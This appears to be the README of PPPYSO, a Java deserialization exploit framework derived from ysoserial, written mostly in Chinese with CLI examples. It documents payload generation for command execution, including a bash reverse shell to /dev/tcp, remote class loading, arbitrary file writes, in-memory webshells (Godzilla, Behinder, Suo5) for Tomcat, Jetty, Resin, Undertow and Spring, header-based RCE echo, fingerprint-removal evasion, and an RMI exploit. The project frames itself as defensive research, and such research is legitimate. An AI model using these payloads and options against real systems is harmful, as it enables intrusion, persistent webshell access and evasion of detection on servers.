PPPYSO

By. Whoopsunix

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• 🗿 PPPYSO 是一个Java 反序列化概念验证框架，仅为安全防护研究提供参考，所以不会开放任何绕过性质的研究成果，并且不保证稳定性。基于子项目 JavaRce 实现，最终目的是实现 RASP 层面的拦截。

• 👏 欢迎 issue

框架分模块构建，每个模块通过一个 Helper 来管理生成内容，可以根据配置生成各种增强 Payload，通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 javax/jakarta 标准。包含以下模块：

反序列化模块

参考 Marshalling Pickles 中提到的 gadget chain 概念，将 ysoserial 原先的调用链拆分为入口点 (kick-off), 触发点 (sink)，其余为中间的调用链 (chain)，针对各个部分针对性增强。

• InvokerTransformer 功能增强
• TemplatesImpl JavaClass增强、AbstractTranslet 可选移除、_bytecodes 特征消除
• rome、rometools 兼容
• 修改 serialVersionUID 兼容多版本，eg. Cb 支持 [1.8.3 | 1.6 | 1.5]
• 二次反序列化增强
• JavaClass 信息消除：随机类名、移除源文件信息、移除源文件信息等可能暴露来源的信息。
• JDK6 兼容输出

JavaClass 模块

基于子项目 JavaRce ，在实现上不同。PPPYSO 中通过动态代理的方式实现内存马，减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。

• Loader + Proxy 积极测试兼容中
• 兼容 javax/jakarta 标准
• 结果增强输出，eg. SPEL+FreeMarker
  • 高版本 JDK 下 SPEL 注入
• 功能增强积极增加中 Exec、Godzilla、Behinder、Sou5
• Unsafe 实现 JDK 17+ 字节码加载（name module 反射限制绕过）

Common 模板

实现序列化数据的加解密、序列化等功能

• 序列化：原生、XStream、HexAscii
• 序列化类型：UTF8Mix 2 3 字节转换
• 支持组合结果输出：文件、Base64、GZIP，eg. gzip,base64

Exploit 模块

• 缓慢移植

交互

目前支持 CLI、Yaml 配置，通过

直接运行生成模板配置文件，并展示支持的调用链

WIKI 里调用链的分析比较久远也可以看看，之后有时间会尽量补全 gadget chain 图

Cli 通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help} 获取帮助信息

编译

项目完全开源，可直接下载 Release 版本，或自行编译，编译成功后在 scheduler/target 下生成 PPPYSO-${version}-jar-with-dependencies.jar

# 安装依赖
mvn clean 
# 打包
mvn clean package -Dmaven.test.skip

0x01 URLDNS 增强

-g URLDNS
-host
-dp
-cn
-ds

URLDNS 支持组件利用链探测和类探测，还在完善中

组件探测

组件探测参考 Urldns 项目实现，改了一些类可以通过 -show 展示目前规则已写的类

• -dp 指定组件，all 探测所有

eg. -g URLDNS -host 7ox24q.dnslog.cn -dp "all"

类探测

• -cn 指定探测的全限定类名
• -ds 指定对应的子域名

eg. -g URLDNS -host 4hu16z.dnslog.cn -cn "com.ppp.DNSTest" -ds "pppyso"

0x02 增强功能

通过 -e | -enchant 指定增强类型，所有指令忽略大小写

通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g commonscollections1 -show 获取调用链支持的增强功能，指令均忽略大小写。

Command 命令执行

-e command
-cmd {whoami}
-cmdt {ScriptEngine}
-split

• -cmd 输入命令
• -cmdt 命令执行类型
• -split 参数会将命令拆分为 String[3] 数组，用这个参数相当于可以指定执行命令所需的终端

eg. -g commonscollections1 -e command -cmd "bash -c bash -i >&/dev/tcp/ip/1234 0>&1" -split

ScriptEngine

通过 -cmdt 参数指定命令执行类型为 ScriptEngine

eg. -g commonscollections2 -e command -cmd "open -a Calculator.app" -cmdt ScriptEngine

• -code 支持自定义 js 语句

eg. -g commonscollections2 -e command -cmdt ScriptEngine -code "x=new java.lang.ProcessBuilder;x.command('open','-a','Calculator.app');x.start();"

• -cf 对于InvokerTransformer 增强的链支持从文件中获取复杂语句

eg. -g commonscollections2 -e command -cmdt ScriptEngine -cf code.txt

Delay 延时

-e delay
-dt {/s}

• -dt 指定延时时间 /s

eg. -g commonscollections2 -e delay -dt 5

Socket 发起 socket 请求

-e socket
-host {ip:port}

• -host 指定需要发起 socket 请求的地址，用来测试是调用链被 ban 了还是限制了执行命令。

eg. -g commonscollections2 -e socket -host 127.0.0.1:1234

RemoteLoad 远程加载

-e RemoteLoad
-url
-cn
-ctor

• -url 指定远程地址
• -cn 指定远程加载的类名

eg. -g commonscollections2 -e RemoteLoad -url http://127.0.0.1:1234/ClassLoad-1.0.jar -cn org.example.Exec

• -ctor 指定需要参数的构造方法，支持 Int | String 类型

FileWrite 文件写入

-e FileWrite
-sfp
-lfp
-fc
-append
-split
-part

• -sfp 指定写入远程文件的地址
• -fc 指定需要写入的内容
• -lfp 从本地读取文件
• -append 追加写入文件

eg. -g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456

-append 追加写入

-split 设置文件分片后生成， -part 指定每个分片的大小，默认 100kb。不过该功能不建议用在 TemplatesImpl 增强的链，用 Base64 编码只能分片很小。

eg. -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000

0x03 JavaClass 增强

继承 AbstractTranslet

• -ext 参数指定 TemplatesImpl 增强的类继承 AbstractTranslet

自定义加载

-e JavaClass
-jht Custom
-jfp {filePath}

• -jht Custom -jfp 可以选择加载自定义的 JavaClass，.class 文件或者形如 yv66vg 开头的 base64 加密

eg. -g Fastjson -e JavaClass -jht Custom -jfp testms

Rce 回显

通过线程遍历 request 对象实现回显目前测试如下

	Version	Auto Version (正在针对实际环境优化中..)
Tomcat	6-9	5-11
Spring
Resin	[4.0.52, 4.0.66]
Jetty

• -e JavaClass -jht RceEcho 指定为 Rce 回显
• -mw 参数指定中间件
• -jt 指定回显的实现方式，可通过 AutoFind 使用线程遍历寻找 request（实测优化中..)

可选参数默认都是随机生成的，也可以指定

• -fheader 指定接收命令的 header key
• -frheader 指定命令输出在哪个响应头中，因为实际测试发现 body 很多时候是没法回显了，所以干脆输出到头

-e JavaClass
-jht RceEcho
-mw [Tomcat | Jetty ...]
-jt [AutoFind | Default]

-fheader
-frheader

eg. -g commonscollections2 -e JavaClass -jht RceEcho -mw Tomcat -o base64

内存马

内存马这部分的内容还没经过实际环境测试，采用 Loader + Proxy 的方式编写

-e JavaClass
-jht MemShell
-mw [Tomcat | Jetty ...]
-ms [Servlet | Listener | Filter ...]
-msf [Exec | Godzilla ...]
-jt [AutoFind]
-mt [Raw]

-fname
-fheader
-frheader
-fpath
-fkey
-fpass
-flk
-flv

• -e JavaClass -jht MemShell 指定为内存马
• -mw 指定中间件
• -ms 指定内存马类型
• -msf 指定内存马功能
• -jt 指定内存马上下文的获取方式，目前计划实现自动线程遍历寻找 request，可通过 AutoFind 触发
• -mt 指定内存马实现方式，目前只适配了 Spring Interceptor Godzilla Raw

可选参数默认都是随机生成的，也可以指定

• -fname 指定内存马名称
• -fheader 指定接收命令的 header key
• -frheader 指定命令输出在哪个响应头中，因为实际测试发现 body 很多时候是没法回显了，所以干脆输出到头
• -fpath 指定路径
• -fkey 指定内存马密钥
• -fpass 指定内存马密码
• -flk 、-flv 指定触发内存马需要的 K-V 值，Contains 关系，比如 User-Agent 中需要存在 Whoopsunix。

	remarks	Exec	Godzilla	Behinder	Suo5(todo jakarta)	Version Test	Auto Version Test
Tomcat Servlet		✔	✔	✔	✔	7-11
Tomcat Filter		✔	✔	✔	✔	7-11
Tomcat Listener		✔	✔	✔	✔	6.0.35, [7.0.59, 7.0.109], 8, 9, 10	5-11
Tomcat Executor	通过 Header 交互, Thread Auto Find	✔				8, 9
Tomcat Valve	动态代理没有经过实战测试	✔	✔	✔		8
Resin Servlet		✔	✔	✔	✔	[4.0.52, 4.0.66]
Resin Filter		✔	✔	✔	✔	[4.0.52, 4.0.66]
Resin Listener		✔	✔	✔	✔	[4.0.52, 4.0.66]
Jetty Listener		✔	✔	✔	✔	9, 10	7-11
Undertow Servlet		✔	✔	✔	✔	2.2.25.Final
Undertow Listener		✔	✔	✔	✔	2.2.25.Final
Undertow Filter		✔	✔	✔	✔	2.2.25.Final
Spring Controller		✔				5.3.28
Spring Interceptor		✔	✔ Raw			5.3.28

eg. -g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64

LocalLoad 本地字节码加载

InvokerTransformer 增强的链子也提供了加载字节码的方式，默认采用 ScriptEngineManager，也可以选择（换汤不换药 懒得删了） org.mozilla.javascript.DefiningClassLoader.defineClass()

-lf [Default | RHINO]

eg. -g commonscollections1 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64 -lf rhino

JavaClass 封装

JavaClass 也可以单独生成，并且提供加密封装

-je [Script ｜ SPEL | FreeMarker]
-jme [JDK17]

• -je 指定封装方式，支持组合封装 eg. SPEL,FreeMarker
• -jme JavaClass 创建增强逻辑，之后考虑是否太麻烦了移除，目前有 SPEL JDK17 封装

eg. -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker

eg. 某 FreeMarker 高版本 JDK 环境利用 -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw

0x04 Common 模块

输出

-o [Default | GZIP | Base64]
-st [Default | XStream | HexAscii | UTF8Mix]
-save
-close

• -save 指定结果输出到哪个文件
• -close 关闭除结果外的其他输出
• -o 指定输出方式，支持按顺序组合输出，eg. -g commonscollections1 -cmd "open -a Calculator.app" -o gzip,base64

序列化类型

• -st 指定序列化输出类型，eg. -g commonscollections1 -cmd "open -a Calculator.app" -st UTF8Mix

0x05 其他增强

CB serialVersionUID 冲突

暂时兼容CB，通过 -cb 参数指定，可选 [1.8.3 | 1.6 | 1.5]，默认 > 1.9.0 的 serialVersionUID

eg. -g CommonsBeanutils1 -cmd "open -a Calculator.app" -cb 1.8.3

指令	CB 版本	serialVersionUID
	>= 1.9.0	-2044202215314119608
1.8.3	1.7.0 <= <= 1.8.3	-3490850999041592962
1.6	>= 1.6 or = 20030211.134440	2573799559215537819
1.5	>= 1.5 or 20021128.082114 > 1.4.1	5123381023979609048

二次反序列化

• -wrap 指令进行 SignedObject 二次反序列化封装，主要还是出现在 CTF 题，所以只在 ROME 链打了个样

eg. -g ROME -cmd "open -a Calculator.app" -wrap

Rome Rometools

-gd [rome | rometools]

• -gd 指定 rome 的依赖包 eg. -g ROME -cmd "open -a Calculator.app" -gd rometools

0x06 Exploit 模块

在 gadget 增强的前面拼接 exp 使用该模块 ，exp -show 查看支持的 EXP

eg. exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099

Thanks

感谢师傅们的研究，有很大的帮助 :)

@frohoff ysoserial

@mbechler marshalsec

@su18 ysuserial

@wh1t3p1g ysomap

@BeichenDream GodzillaMemoryShellProject

@cckuailong JNDI-Injection-Exploit-Plus

https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/